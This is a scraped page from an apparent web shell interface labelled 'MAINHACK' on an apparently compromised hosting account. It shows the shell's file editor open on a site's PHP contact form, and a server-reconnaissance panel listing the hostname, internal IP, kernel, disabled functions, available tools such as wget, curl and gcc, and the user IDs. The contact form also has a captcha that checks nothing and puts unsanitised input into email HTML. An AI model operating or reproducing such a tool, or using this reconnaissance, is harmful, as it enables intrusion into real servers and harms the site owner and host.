[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: contact.php
<?php include('header.php');?> <!--Inner Banner Start--> <div class="inner-banner"> <img src="images/inner-banner-4.png" alt=""> <div class="inner-block"> <div class="container"> <div class="inner-content"> <h2>Contact Us</h2> </div> </div> </div> </div> <!-- Contact Us --> <div class="contact"> <div class="container"> <div class="title-home3"> <h2>Contact Us</h2> </div> <div class="row"> <div class="col-md-6 col-sm-6 col-xs-12"> <div class="contact-form" data-aos="zoom-out" style="transition: all 1600ms ease-in-out;"> <h4>Fill out the form</h4> <form action="" method="post" enctype="multipart/form-data"> <div class="fill-box"> <label>Full Name*</label> <input id="name" type="text" title="name" name="name" placeholder="Your Full Name"> </div> <div class="fill-box"> <label>Email</label> <input id="email" type="email" title="email" name="email" placeholder="youremail@gmail.com"> </div> <div class="fill-box"> <label>Phone </label> <input id="phone" type="text" title="phone" name="phone" placeholder="Enter Your Number"> </div> <div class="fill-box"> <label>Message or Enquiry</label> <textarea placeholder="Type Something..." name="msg"></textarea> </div> <div class="fill-box"> <label>Captcha<b>*</b></label> <input type="text" name="captcha" style="color: #fff !important; background: url(images/captchabg.png) no-repeat top right; background-size: auto; background-size: cover; letter-spacing: 3px; margin: 0 0 0 0; padding: 8px 0 8px 75px;" value="<?php echo rand(0,1999); ?>" readonly=""> </div> <div class="fill-box"> <label>Fill Captcha<b>*</b></label> <input type="text" name="put_captcha" placeholder="Captcha Please" required=""> </div> <div class="fill-box submit-btn"> <input type="submit" value="submit" name="sub"> </div> </form> <?php if(isset($_POST['sub'])){ if($_POST['captcha']!=$_POST['put_captcha']){ echo "<script>alert('Oops !! Captcha is invalid!!')</script>"; }else{ $table='contact'; $data = array( 'name' =>htmlentities(strip_tags($_POST['name'])), 'phone' => htmlentities(strip_tags($_POST['phone'])), 'email' => htmlentities(strip_tags($_POST['email'])), 'phone' => htmlentities(strip_tags($_POST['phone'])), 'msg' => htmlentities(strip_tags($_POST['msg'])), ); $em=htmlentities(strip_tags($_POST['email'])); $phn=htmlentities(strip_tags($_POST['phone'])); if($show->insert($table,$data)){ $email_subject = "Contact Enquiry"; $em11='<html><head><meta http-equiv="Content-Type" content="text/html; charset=utf-8">'; $email_content1="<!DOCTYPE html PUBLIC '-//W3C//DTD XHTML 1.0 Transitional//EN' 'https://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd'> <html xmlns='https://www.w3.org/1999/xhtml'> <head> <title>Test Email Sample</title> <meta http–equiv='Content-Type' content='text/html; charset=UTF-8' /> <meta http–equiv='X-UA-Compatible' content='IE=edge' /> <meta name='viewport' content='width=device-width, initial-scale=1.0 ' /> <style> h2{ color:#000; font-size:26px; } #b{ width:500px; font-size:15px; } th{ background-color:#fff; } </style> </head> <body style='background-color:f9f7f7; text-align:center;font-size:17px;'> <table style='margin-left: auto; margin-right: auto;border: 20px double #b5bcbf;width:600px; text-align:center;font-size:16px;'> <tr><td style='background-color:#e40046'> <img src='https://sreealankar.in/images/sreealankar_logo.png' width='50%'></td></tr> <tr><td style='text-align:center;'> <h3 style='text-align: center;font-size: 17px; text-transform: uppercase;'>Welcome to $company_name</h3></td></tr> <tr><td text-align:center;font-size:14px;><br>Hi Admin,<br><br> New enquiry has been received.<br> Name: ".$name."<br> Phone: ".$_POST['phone']."<br> Email: ".$_POST['email']."<br> Message: ".$_POST['msg']."<br> <br> <br><br><br><br> <br> </td></tr> </tr> </table> <p><b>$company_name</b><br> Web : $website<br> Email : $email<br> Phone : $phone<br> </p> <small>Copyright ©<?=date('Y')?> $company_name,$address. All rights reserved. </small> </body></html>"; $email_content=" <!DOCTYPE html PUBLIC '-//W3C//DTD XHTML 1.0 Transitional//EN' 'https://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd'> <html xmlns='https://www.w3.org/1999/xhtml'> <head> <title>Test Email Sample</title> <meta http–equiv='Content-Type' content='text/html; charset=UTF-8' /> <meta http–equiv='X-UA-Compatible' content='IE=edge' /> <meta name='viewport' content='width=device-width, initial-scale=1.0 ' /> <style> h2{ color:#000; font-size:26px; } #b{ width:500px; font-size:15px; } th{ background-color:#fff; } </style> </head> <body style='background-color:f9f7f7; text-align:center;font-size:17px;'> <table style='margin-left: auto; margin-right: auto;border: 20px double #b5bcbf;width:600px; text-align:center;font-size:16px;'> <tr><td style='background-color:#e40046'> <img src='https://sreealankar.in/images/sreealankar_logo.png' width='50%'></td></tr> <tr><td style='text-align:center;'> <h3 style='text-align: center;font-size: 17px; text-transform: uppercase;'>Welcome to $company_name</h3></td></tr> <tr><td text-align:center;font-size:14px;><br>Hi ".$name.",<br><br> Your enquiry with email id ".$em." has been successful.<br><br> <br> </td></tr> </tr> </table> <p><b>$company_name</b><br> Web : $website<br> Email : $email<br> Phone : $phone<br> </p> <small>Copyright ©<?=date('Y')?> $company_name,$address. All rights reserved. </small> </body></html>"; $headers = 'MIME-Version: 1.0' . "\r\n"; $headers .= 'Content-type: text/html; charset=iso-8859-1' . "\r\n"; if(@mail($email,$email_subject,$email_content1,$headers) && @mail($em,$email_subject,$email_content,$headers)) { /* echo "<script>alert('Thank you mail has been sent. We will contact you soon.'); </script>";*/ } else { // echo "<script>alert('Message not sent!')</script>"; } echo '<script> setTimeout(function() { swal({ title: "Thank You!", text: "Your enquiry has been sent. We will contact you soon.", type: "success" }, function() { window.location = "'.$_SERVER['REQUEST_URI'].'"; }); }, 1000); </script>'; } } } ?> </div> </div> <div class="col-md-6 col-sm-6 col-xs-12"> <div class="contact-block" data-aos="zoom-out" style="transition: all 1600ms ease-in-out;"> <h4>Get In Touch</h4> <ul> <li><i class="fa fa-map-marker" aria-hidden="true"></i> Address: <a href="#" target="_blank"><?=$address?></a></li> <li><i class="fa fa-phone" aria-hidden="true"></i> Phone: <a href="tel:<?=$phone?>"><?=$phone?></a></li> <li><i class="fa-solid fa-comment"></i> E-mail: <a href="mailto:<?=$email?>"><?=$email?></a></li> </ul> </div> <div class="contact-block-map" data-aos="zoom-in" style="transition: all 1600ms ease-in-out;"> <iframe src="https://www.google.com/maps/embed?pb=!1m16!1m12!1m3!1d3498.472602044497!2d77.11694807941934!3d28.735303425350686!2m3!1f0!2f0!3f0!3m2!1i1024!2i768!4f13.1!2m1!1sI-2%2F155%2C156(1st%20floor)%20%2C%20sector%2016%2C%20Rohini%20%2C%20Delhi%20110089!5e0!3m2!1sen!2sin!4v1742279874337!5m2!1sen!2sin" width="600" height="450" style="border:0;" allowfullscreen="" loading="lazy" referrerpolicy="no-referrer-when-downgrade"></iframe> </div> </div> </div> </div> </div> </div> <?php include('footer.php');?>
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server05.hostinghome.co.in
Server IP: 192.168.74.40
PHP Version: 7.4.33
Server Software: Apache
System: Linux server05.hostinghome.co.in 3.10.0-962.3.2.lve1.5.81.el7.x86_64 #1 SMP Wed May 31 10:36:47 UTC 2023 x86_64
HDD Total: 1.95 TB
HDD Free: 761.99 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Disabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes
gcc:
Yes
pkexec:
No
git:
Yes
User Info
Username: itsweb
User ID (UID): 1619
Group ID (GID): 1621
Script Owner UID: 1619
Current Dir Owner: 1619